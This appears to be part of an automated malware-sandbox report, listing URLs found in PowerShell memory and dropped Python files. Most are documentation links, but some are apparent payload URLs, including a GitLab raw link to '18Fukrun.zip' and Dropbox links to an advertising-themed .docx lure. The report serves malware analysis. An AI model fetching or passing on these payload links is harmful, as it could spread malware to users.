Source: email.charset.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.charset.rst
Source: email.iterators.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.iterators.rst
Source: email.mime.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.mime.rst
Source: email.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.rst
Source: email.utils.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.utils.rst
Source: exceptions.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/exceptions.rst
Source: fileformats.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/fileformats.rst
Source: frameworks.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/frameworks.rst
Source: gc.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/gc.rst
Source: gettext.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/gettext.rst
Source: grp.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/grp.rst
Source: gzip.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/gzip.rst
Source: html.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/html.rst
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/floatingpoint.rst
Source: isolating-extensions.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/master/Modules/xxlimited.c
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: ast.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/ast.py
Source: asyncio.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/locks.py
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/queues.py
Source: asyncio-runner.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/runners.py
Source: bdb.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/bdb.py
Source: bisect.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/bisect.py
Source: codeop.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/codeop.py
Source: copy.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/copy.py
Source: email.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/__init__.py
Source: email.charset.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/charset.py
Source: email.iterators.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/iterators.py
Source: email.mime.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/mime/
Source: email.utils.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/utils.py
Source: gettext.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/gettext.py
Source: gzip.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/gzip.py
Source: html.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/html/__init__.py
Source: functional.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/test/test_generators.py
Source: exceptions.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Objects/exceptions.c
Source: update_test_data.py.17.dr	String found in binary or memory: https://github.com/python/mypy/issues/8772
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/textualize
Source: ssl_.py.17.dr	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: ssl_.py.17.dr	String found in binary or memory: https://github.com/urllib3/urllib3/pull/3024
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01620000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 0000000F.00000002.1589412338.0000023E6FD99000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip
Source: functional.html.17.dr	String found in binary or memory: https://gnosis.cx/TPiP/
Source: powershell.exe, 0000000D.00000002.1380394770.00000187530C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: url.py.17.dr	String found in binary or memory: https://google.com/mail/
Source: bisect.html.17.dr	String found in binary or memory: https://grantjenks.com/docs/sortedcollections/
Source: ast.html.17.dr	String found in binary or memory: https://greentreesnakes.readthedocs.io/
Source: ast.html.17.dr	String found in binary or memory: https://greentreesnakes.readthedocs.io/en/latest/
Source: logging.html.17.dr	String found in binary or memory: https://groups.google.com/g/comp.lang.python
Source: _raw_api.py.17.dr	String found in binary or memory: https://groups.google.com/u/1/g/python-cffi/c/oZkOIZ_zi5k
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://gunicorn.org/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: unicode.html.17.dr	String found in binary or memory: https://jkorpela.fi/unicode/guide.html
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://jvns.ca/blog/2023/01/13/examples-of-floating-point-problems/
Source: ast.html.17.dr	String found in binary or memory: https://leoeditor.com/appendices.html#leoast-py
Source: asn1.py.17.dr	String found in binary or memory: https://letsencrypt.org/docs/a-warm-welcome-to-asn1-and-der/
Source: ast.html.17.dr	String found in binary or memory: https://libcst.readthedocs.io/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80D42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F80D34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F81DE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F81979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F81985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://linuxreviews.org/HOWTO_change_the_mouse_speed_in_X
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: asn1.py.17.dr	String found in binary or memory: https://luca.ntop.org/Teaching/Appunti/asn1.html
Source: isolating-extensions.html.17.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/capi-sig.python.org/
Source: asn1.py.17.dr	String found in binary or memory: https://misc.daniel-marschall.de/asn.1/oid-converter/online.php
Source: functional.html.17.dr	String found in binary or memory: https://mitpress.mit.edu/sicp
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: unicode.html.17.dr	String found in binary or memory: https://nedbatchelder.com/text/unipain.html
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 0000000D.00000002.1380394770.000001875392C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.00000187620F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.0000018761FB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: ast.html.17.dr	String found in binary or memory: https://parso.readthedocs.io
Source: unicode.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: functional.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0289/
Source: functional.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0342/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0387/
Source: gc.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0475/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0479/
Source: ast.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: ast.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0565/
Source: contextvars.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0567/
Source: audit_events.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0578/
Source: ast.html.17.dr	String found in binary or memory: https://peps.python.org/pep-3115/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-3134/
Source: exceptions.html.17.dr	String found in binary or memory: https://peps.python.org/pep-3151/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: reporter.cpython-312.pyc.17.dr, reporter.py.17.dr	String found in binary or memory: https://pip.pypa.io/warnings/backtracking
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://pypi.org/project/PyQt5/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://pypi.org/project/PySide2/
Source: unicode.html.17.dr	String found in binary or memory: https://python-notes.curiousefficiency.org/en/latest/python3/text_file_processing.html
Source: unicode.html.17.dr	String found in binary or memory: https://pyvideo.org/video/1768/the-guts-of-unicode-in-python
Source: unicode.html.17.dr	String found in binary or memory: https://pyvideo.org/video/289/pycon-2010--mastering-python-3-i-o
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scipy.org
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: powershell.exe, 00000011.00000002.2448283371.0000022F81E00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F81E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.apple.com/en-us/HT201236
Source: ChaCha20.py.17.dr	String found in binary or memory: https://tools.ietf.org/html/draft-arciszewski-xchacha-03
Source: pss.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F807EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-28
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F807EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-29
Source: pkcs1_15.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-36
Source: pkcs1_15.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-37
Source: pss.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#page-67
Source: pss.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#section-8.1.1
Source: pss.cpython-312.pyc.17.dr	String found in binary or memory: https://tools.ietf.org/html/rfc8017#section-8.1.2
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/willmcgugan
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/willmcguganz
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com/cd/0/get/Cent9kswzwEN9hr7y-nSe5_7Gb6s
Source: sorting.html.17.dr	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/1/17/Balance_
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://uwsgi-docs.readthedocs.io/en/latest/
Source: functional.html.17.dr	String found in binary or memory: https://www.defmacro.org/ramblings/fp.html
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.00000187530C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 0000000D.00000002.1400342987.000001876A118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yos
Source: powershell.exe, 0000000D.00000002.1380394770.00000187535AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.0000018752172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1401370832.000001876A28C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?
Source: powershell.exe, 0000000D.00000002.1401333198.000001876A150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_advertising_campaign_and_collaboration.docx?
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: gettext.html.17.dr	String found in binary or memory: https://www.gnu.org/software/gettext/manual/gettext.html
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: functional.html.17.dr	String found in binary or memory: https://www.haskell.org/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: asn1.py.17.dr	String found in binary or memory: https://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf
Source: unicode.html.17.dr	String found in binary or memory: https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-p
Source: asn1.py.17.dr	String found in binary or memory: https://www.oss.com/asn1/resources/books-whitepapers-pubs/larmouth-asn1-book.pdf
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: pyopenssl.cpython-312.pyc.17.dr	String found in binary or memory: https://www.pyopenssl.org
Source: exceptions.html.17.dr	String found in binary or memory: https://www.python.org/
Source: compatibility_tags.py.17.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0571/#backwards-compatibility-with-manylinux1-wheels
Source: compatibility_tags.py.17.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0599/#backwards-compatibility-with-manylinux2010-wheels
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp, asyncio-queue.html.17.dr, asyncio-sync.html.17.dr, bisect.html.17.dr, audit_events.html.17.dr, email.utils.html.17.dr, curses.panel.html.17.dr, unicode.html.17.dr, logging-cookbook.html.17.dr, gc.html.17.dr, codeop.html.17.dr, crypto.html.17.dr, sorting.html.17.dr, copy.html.17.dr, datatypes.html.17.dr, bdb.html.17.dr, fileformats.html.17.dr, asyncio-api-index.html.17.dr, asyncio-policy.html.17.dr, gzip.html.17.dr, asyncio.html.17.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://www.qt.io/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp, asyncio-queue.html.17.dr, asyncio-sync.html.17.dr, bisect.html.17.dr, audit_events.html.17.dr, email.utils.html.17.dr, curses.panel.html.17.dr, unicode.html.17.dr, logging-cookbook.html.17.dr, gc.html.17.dr, codeop.html.17.dr, crypto.html.17.dr, sorting.html.17.dr, copy.html.17.dr, datatypes.html.17.dr, bdb.html.17.dr, fileformats.html.17.dr, asyncio-api-index.html.17.dr, asyncio-policy.html.17.dr, gzip.html.17.dr, asyncio.html.17.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.textualize.io
Source: unicode.html.17.dr	String found in binary or memory: https://www.unicode.org
Source: unicode.html.17.dr	String found in binary or memory: https://www.unicode.org/
Source: unicode.html.17.dr	String found in binary or memory: https://www.unicode.org/history/
Source: unicode.html.17.dr	String found in binary or memory: https://www.unicode.org/reports/tr44/#General_Category_Values
